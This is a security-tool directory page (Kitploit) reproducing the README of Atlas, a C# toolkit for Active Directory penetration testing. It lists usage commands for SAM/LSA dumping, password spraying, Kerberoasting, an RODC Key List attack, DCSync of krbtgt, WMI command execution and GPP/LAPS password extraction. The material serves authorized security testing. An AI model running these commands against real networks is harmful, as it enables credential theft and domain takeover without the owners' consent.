Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Atlas — Cross-platform network execution toolkit (SMB/Kerberos/WMI/LDAP/DCSync) built on TrustedSec's Titanis - NetExec-style workflow in C# | Kitploit
工具/GitHubGitHub/portbuster1337/atlas
ReconnaissanceExploitationLateral MovementPost-ExploitationNetwork SecurityPenetration TestingRed Teaming
GitHubportbuster1337/atlas

Atlas

Cross-platform network execution toolkit (SMB/Kerberos/WMI/LDAP/DCSync) built on TrustedSec's Titanis - NetExec-style workflow in C#

查看仓库
6255916天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
内容在请求的语言中不可用。显示英文版本。

Atlas

Atlas is a cross-platform (Windows/Linux) network execution and security assessment toolkit built on top of TrustedSec's Titanis protocol library. It is inspired by the workflow of NetExec/CrackMapExec: target lists, credential sets, modular enumeration, and compact [HH:mm:ss] [+] host - message console output.

This tool is intended for authorized security testing. Only use against systems you have explicit permission to test.

Features

ProtocolCapabilities
smbAuth check (NTLM/Kerberos/anonymous), shares, users, groups, disks, sessions via SRVS/SAMR; SAM/LSA via Remote Registry; file ops over SMB2/3; --pass-pol/--rid-brute/--gen-relay-list/--generate-krb5-file/--generate-hosts-file; execution via wmiexec (WmiClient) / smbexec (ScmClient)
kerberosUser enumeration, pre-auth/AS-REP detection, Kerberoasting, Key List attack
wmiAuth via DCOM/WMI, Win32_Process.Create or --wmi-query (WQL)
ldapAuth via SASL/simple bind, queries + flags (--users/--trusted-for-delegation/--pass-pol/--get-sid etc.), modules, --bloodhound (-c) to BloodHound CE JSON+zip
dcsyncReplicate via [MS-DRSR] (DRSGetNCChanges)

Modules

Shared across all protocols:

  • Target specification: single host/IP, CIDR, ranges (a.b.c.d-e), comma lists, @file
  • Full authentication matrix inherited from Titanis: passwords, NT hashes, AES keys, keytabs, .kirbi/.ccache tickets, PKINIT certificates, S4U, SPN overrides, SOCKS5
  • Multi-host fan-out with configurable concurrency and per-host timeout
  • NetExec-style console output

Requirements

  • .NET SDK 9.0+ (some vendored Titanis projects use C# 13)
  • Network reachability to targets (445/TCP for SMB, 88/TCP for Kerberos, 389/TCP for LDAP, 135/TCP + dynamic RPC ports for WMI/DCSync)

Build

The repository vendors the Titanis source under external/Titanis and builds it as part of the solution.

root@kitploit:~
git clone https://github.com/<your-account>/atlas.git
cd atlas
dotnet build Atlas.sln -p:NoWarn=CS1998

The resulting binary is a framework-dependent .NET application:

root@kitploit:~
dotnet src/Atlas.Cli/bin/Debug/net8.0/atlas.dll --help

Usage

root@kitploit:~
atlas <protocol> <targets> [authentication] [actions] [options]

Target specification accepts any mix of: HOST, 10.0.0.5, 192.168.1.0/24, 10.0.0.1-64, comma-separated lists, or @targets.txt.

SMB

root@kitploit:~
# Credential check only
atlas smb 10.0.0.5 -u administrator -p 'Password1!'

# Enumeration
atlas smb 10.0.0.0/24 -u admin -p 'Password1!' -Shares -Users -Groups -Disks -Sessions

# SAM / LSA dumping (requires local admin)
atlas smb 10.0.0.5 -u admin -p 'Password1!' -Sam -Lsa

# File operations
atlas smb 10.0.0.5 -u admin -p pass -LsPath 'C$\Users'
atlas smb 10.0.0.5 -u admin -p pass -GetFile 'C$\Windows\win.ini'
atlas smb 10.0.0.5 -u admin -p pass -PutSource ./payload.bin -PutDest 'C$\Temp\payload.bin'

# Modules and flags
atlas smb 10.0.0.0/24 -u admin -p pass -M spider -mo 'depth=3,maxfiles=50,match=.conf'
atlas smb 10.0.0.0/24 -u admin -p pass -M shareaccess -M gpp_password
atlas smb 10.0.0.5 -u admin -p pass -M localadmins -M uac

# Flags (NetExec-like)
atlas smb 10.0.0.5 -u admin -p pass --pass-pol --rid-brute 2000
atlas smb 10.0.0.5 --Anonymous --gen-relay-list relay.txt --generate-krb5-file krb5.conf

# Password spray
atlas smb 10.0.0.0/24 -UserList users.txt -PassList 'Password1!,Summer2024!'

Kerberos

root@kitploit:~
# User enumeration (no credentials required)
atlas kerberos dc01.corp.local -d CORP.LOCAL -UserList users.txt

# Kerberoasting (requires any domain credential)
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p 'Password1!'
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p pass -SpnList 'MSSQLSvc/sql01.corp.local:1433'

# Key List attack against an RODC
atlas kerberos rodc01.corp.local -d CORP.LOCAL -rodcNo 20000 -rodcKey <aes256-hex> -UserList 'jdoe:1104'

WMI

root@kitploit:~
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass           # auth check
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass -x whoami # exec

LDAP

root@kitploit:~
# SASL (NTLM/Kerberos) bind - typical against Active Directory
atlas ldap dc01.corp.local -d CORP.LOCAL -u user -p pass -Query '(adminCount=1)' -Attrs sAMAccountName

# RFC 4511 simple bind - typical against OpenLDAP
atlas ldap ldap.example.com -bd 'cn=admin,dc=example,dc=com' -bp password \
    -Query '(objectClass=*)' -Base 'dc=example,dc=com'

DCSync

root@kitploit:~
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass krbtgt
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass jdoe '(adminCount=1)'

Authentication options (all protocols)

Run atlas <protocol> -h for the complete parameter reference.

Repository layout

root@kitploit:~
Atlas.sln
Directory.Build.props      Intentional no-op (see note)
src/
  Atlas.props              Shared build settings (imported explicitly by Atlas projects)
  Atlas.Core/              Targets parsing, console output, module registry
  Atlas.Protocols.Smb/     SMB host + modules
  Atlas.Protocols.Kerberos/ AS-REQ enumeration, roasting, Key List attack
  Atlas.Protocols.Wmi/     WMI/DCOM host
  Atlas.Protocols.Ldap/    LDAP host
  Atlas.Protocols.Drsr/    DCSync
  Atlas.Cli/               Entry point / protocol dispatcher
external/Titanis/          Vendored Titanis source (built from source; not on NuGet)

Note: Directory.Build.props at the repository root is intentionally empty. Titanis's build imports $(SolutionDir)Directory.Build.props; the file must exist when building from this solution but must stay empty so upstream settings do not leak into the vendored tree.

License

This project links against and distributes source from TrustedSec's Titanis, which is licensed GPL-3.0. Accordingly, this project is distributed under GPL-3.0. See external/Titanis/LICENSE.

下载工具
ModuleProtocolDescription
spidersmbRecursive share crawler (depth, maxfiles, match)
shareaccesssmbPer-share READ/WRITE access check
localadminssmbLocal Administrators via SAMR
gpp_passwordsmbDecrypts cpassword from Groups.xml etc.
gpp_autologinsmbRegistry.xml autologon credentials
gpp_privilegessmbGptTmpl.inf privilege assignments
uac / wdigest / runasppl / install_elevatedsmbRegistry checks via winreg
spoolersmbPrint Spooler status via SCM
keepass / rclone / winscp / mremoteng / vnc etc.smbFile hunters on shares
maqldapms-DS-MachineAccountQuota
pre2kldapPre-Windows 2000 computers (UAC 4128)
lapsldapLAPS passwords
adcsldapAD CS enrollment services
subnetsldapSites/Subnets from Configuration NC
daclread / badsuccessor / certipy-find etc.ldapLDAP enumeration via Titanis
OptionMeaning
-u, -UserNameUser name (user, DOMAIN\user, or user@realm)
-p, -PasswordPassword
-NtlmHashNT hash (NTLM + Kerberos RC4)
-AesKeyAES128/AES256 Kerberos key
-KdcKDC endpoint for Kerberos
-Tgt / -TicketCache / -Tickets.kirbi / .ccache ticket input
-Keytabkeytab file
-UserCert (+-UserKey)PKINIT certificate authentication
-AnonymousNull session
-haHost address override (use FQDN in the target position + IP here for correct SPNs)